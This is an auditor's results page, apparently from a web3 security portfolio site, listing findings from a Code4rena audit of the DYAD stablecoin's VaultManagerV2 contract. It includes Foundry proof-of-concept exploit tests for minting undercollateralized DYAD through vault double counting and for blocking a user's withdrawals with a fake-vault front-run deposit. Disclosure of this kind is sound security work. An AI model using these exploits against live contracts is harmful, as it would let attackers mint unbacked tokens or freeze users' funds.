DYAD - 0xleadwizard's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 46/183

Findings: 5

Award: $264.19

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L17-L308

Vulnerability details

Impact

The current implementation of VaultManagerV2 allows minting 1 DYAD with the backing of only $1

This breaks the most important invariant of the protocol: TVL > DYAD total supply

Proof of Concept

A user can add an exogenous vault as a kerosene vault, by calling addKerosene(id, address(exogenous_vault)), this results in double counting of user deposits for that exogenous_vault.

In the POC, we deposit 1 ETH when the price of ETH is $3000 and we can borrow 3000 DYAD and the collateral ratio remains 200% due to double counting.

forge test -f $ETH_RPC --mt test_Borrow_DYAD_AT_ONEx -vv

// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; import {IDyad} from "src/interfaces/IDyad.sol"; import {Licenser} from "src/core/Licenser.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); // Liscensing the new vault manager in the vault manager liscenser vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner()); Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function test_Borrow_DYAD_AT_ONEx() external { address ALICE = makeAddr("ALICE"); address LIQUIDATOR = makeAddr("LIQUIDATOR"); uint256 amount = 1e18; DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); uint256 ethPrice = 3000 * 1e8; vm.mockCall( address(contracts.ethVault), abi.encodeWithSelector(contracts.ethVault.assetPrice.selector), abi.encode(ethPrice) ); vm.mockCall( address(contracts.ethVault), abi.encodeWithSelector(contracts.ethVault.getUsdValue.selector), abi.encode(ethPrice * 1e10) ); vm.startPrank(ALICE); uint256 borrowAmount = ethPrice*1e10; // 3000e18 deal(MAINNET_WETH, ALICE, amount); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount); contracts.vaultManager.addKerosene(id, address(contracts.ethVault)); contracts.vaultManager.add(id, address(contracts.ethVault)); contracts.vaultManager.deposit(id, address(contracts.ethVault), amount); contracts.vaultManager.mintDyad(id, borrowAmount, ALICE); vm.stopPrank(); vm.mockCall( address(contracts.kerosineDenominator), abi.encodeWithSelector(contracts.kerosineDenominator.denominator.selector), abi.encode(3000e18) ); console.log("Collateral deposited: %s", amount * ethPrice / 1e8); console.log("DYAD Borrowed: %s", IERC20(MAINNET_DYAD).balanceOf(ALICE)); console.log("Collateral Ratio: %s", contracts.vaultManager.collatRatio(id)); } }

Tools Used

Manual

Revert if the vault is exogenous Vault in addKerosene function

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T20:00:51Z

JustDravee marked the issue as duplicate of #966

#1 - c4-pre-sort

2024-04-29T08:37:27Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-04T09:46:20Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-29T11:20:22Z

koolexcrypto marked the issue as duplicate of #1133

#4 - c4-judge

2024-05-29T11:43:33Z

koolexcrypto marked the issue as satisfactory

Findings Information

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
edited-by-warden
:robot:_72_group
duplicate-930

Awards

238.0297 USDC - $238.03

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

Bob can stop Alice from withdrawing their assets, by frontrunning them.

Description

The vulnerability exists because of the combination of three things:

  1. The deposit function allows depositing to others id.
  2. The deposit function does not check if the provided vault is licensed
  3. When withdrawing, if idToBlockOfLastDeposit[id] is equal to the current block then the the transaction reverts.

Now when Alice, tries to withdraw their funds Bob front-runs the transaction to deposit on behalf of the Alice ID into a fake vault, this sets idToBlockOfLastDeposit[Alice_id] to the current block, and now Alice's withdraw transaction fails indefinitely.

POC

// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function test_DOS_user_Withdraw() external { address ALICE = makeAddr("ALICE"); address BOB = makeAddr("BOB"); uint256 amount = 1e18; DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); vm.startPrank(ALICE); deal(MAINNET_WETH, ALICE, amount); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount); contracts.vaultManager.add(id, address(contracts.ethVault)); contracts.vaultManager.deposit(id, address(contracts.ethVault), amount); vm.stopPrank(); vm.roll(block.number + 1); vm.startPrank(BOB); address fakeVault = address(new FakeVault()); contracts.vaultManager.deposit(id, fakeVault, amount); vm.stopPrank(); vm.startPrank(ALICE); vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); contracts.vaultManager.withdraw(id, address(contracts.ethVault), amount, ALICE); vm.stopPrank(); } } contract FakeVault { function transferFrom(address, address, uint256) public returns (bool) { return true; } function asset() public view returns (IERC20) { return IERC20(address(this)); } fallback() external {} }

forge test --mc Exploit -f $ETH_RPC

By implementing idToBlockOfLastDeposit as vault aware, this way when a fake vault deposit happens it does not affect the legit vault.

mapping(uint id => mapping(address vault => uint blockNumber)) public idToBlockOfLastDeposit;

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-04-28T19:59:12Z

JustDravee marked the issue as duplicate of #489

#1 - c4-pre-sort

2024-04-29T09:26:10Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-05T20:38:15Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-05T20:39:24Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T21:26:35Z

koolexcrypto marked the issue as nullified

#5 - c4-judge

2024-05-05T21:26:44Z

koolexcrypto marked the issue as not nullified

#6 - c4-judge

2024-05-05T21:27:10Z

koolexcrypto marked the issue as not a duplicate

#7 - c4-judge

2024-05-05T21:27:20Z

koolexcrypto marked the issue as duplicate of #1266

#8 - c4-judge

2024-05-11T12:18:40Z

koolexcrypto marked the issue as satisfactory

#9 - c4-judge

2024-05-28T19:12:51Z

koolexcrypto marked the issue as duplicate of #930

Awards

17.2908 USDC - $17.29

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
:robot:_11_group
duplicate-977

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88-L228

Vulnerability details

Impact

The protocol can accrue debt in case of a sudden drop in the price of the asset or a big release of kerosene tokens from MAINNET_OWNER.

Proof of Concept

Liquidators are supposed to earn 20% as liquidation rewards, but if the CR drops to 1e18 (100%) or lower, the liquidators are given zero rewards for liquidation!

uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

Hence there are no incentives for the liquidator to liquidate a position like that and bad debt accrues on the protocol.

Tools Used

Manual

Maybe the DYAD burned from the liquidator can be decreased.

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T10:09:43Z

JustDravee marked the issue as duplicate of #977

#1 - c4-pre-sort

2024-04-29T09:24:04Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-04T09:44:04Z

koolexcrypto changed the severity to QA (Quality Assurance)

#3 - c4-judge

2024-05-12T09:23:56Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-28T16:20:19Z

This previously downgraded issue has been upgraded by koolexcrypto

#5 - c4-judge

2024-05-28T16:21:27Z

koolexcrypto marked the issue as satisfactory

Awards

4.8719 USDC - $4.87

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
:robot:_11_group
duplicate-175

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

Positions that are small in size, don't offer enough rewards to the liquidator and hence will never be liquidated, accruing debt on the protocol.

Proof of Concept

Liquidators are paid 20% as rewards but this might not be enough in the combination of two conditions:

  1. Small Position
  2. Generall high gas fees on mainnet

Ex:

Alice Puts 150 Dollars of ETH and borrows 100 Dollars of DYAD, now the price of ETH drops such that CR = 140%.

The liquidator earns 77% of the value of the Note. Now for a position of 150 Dollars, this will be $115! The liquidator will burn 100 Dollars of DYAD, and get a profit of 15 Dollars.

$15 can many times be less than the fees + operating cost of the liquidator

Tools Used

Manual

Restrict users having small collateral positions.

Assessed type

MEV

#0 - c4-pre-sort

2024-04-27T10:03:54Z

JustDravee marked the issue as duplicate of #1258

#1 - c4-pre-sort

2024-04-29T09:16:52Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-03T14:07:47Z

koolexcrypto changed the severity to QA (Quality Assurance)

#3 - c4-judge

2024-05-12T09:33:33Z

koolexcrypto marked the issue as grade-c

#4 - c4-judge

2024-05-21T10:41:20Z

koolexcrypto removed the grade

#5 - c4-judge

2024-05-21T10:41:35Z

koolexcrypto marked the issue as grade-c

#6 - c4-judge

2024-05-22T14:26:06Z

This previously downgraded issue has been upgraded by koolexcrypto

#7 - c4-judge

2024-05-22T14:29:57Z

koolexcrypto marked the issue as satisfactory

#8 - c4-judge

2024-05-28T20:06:35Z

koolexcrypto marked the issue as duplicate of #175

Awards

3.7207 USDC - $3.72

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
edited-by-warden
:robot:_901_group
duplicate-70

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88

Vulnerability details

Impact

Users can't add a kerosene vault

Proof of Concept

Calling addKerosene reverts with the VaultNotLicensed error

forge test -f $ETH_RPC --mt test_Add_kerosene_Vault
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; import {IDyad} from "src/interfaces/IDyad.sol"; import {Licenser} from "src/core/Licenser.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); // Liscensing the new vault manager in the vault manager liscenser vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner()); Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function test_Wrong_Vault_Liscensed() external { address ALICE = makeAddr("ALICE"); DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); vm.startPrank(ALICE); vm.expectRevert(IVaultManager.VaultNotLicensed.selector); contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault)); vm.stopPrank(); } }

Add Kerosene vaults to the kerosene manager

Assessed type

Access Control

#0 - c4-pre-sort

2024-04-28T19:58:59Z

JustDravee marked the issue as duplicate of #70

#1 - c4-pre-sort

2024-04-29T09:37:38Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-11T20:00:48Z

koolexcrypto marked the issue as satisfactory

#3 - c4-judge

2024-05-13T18:36:27Z

koolexcrypto changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter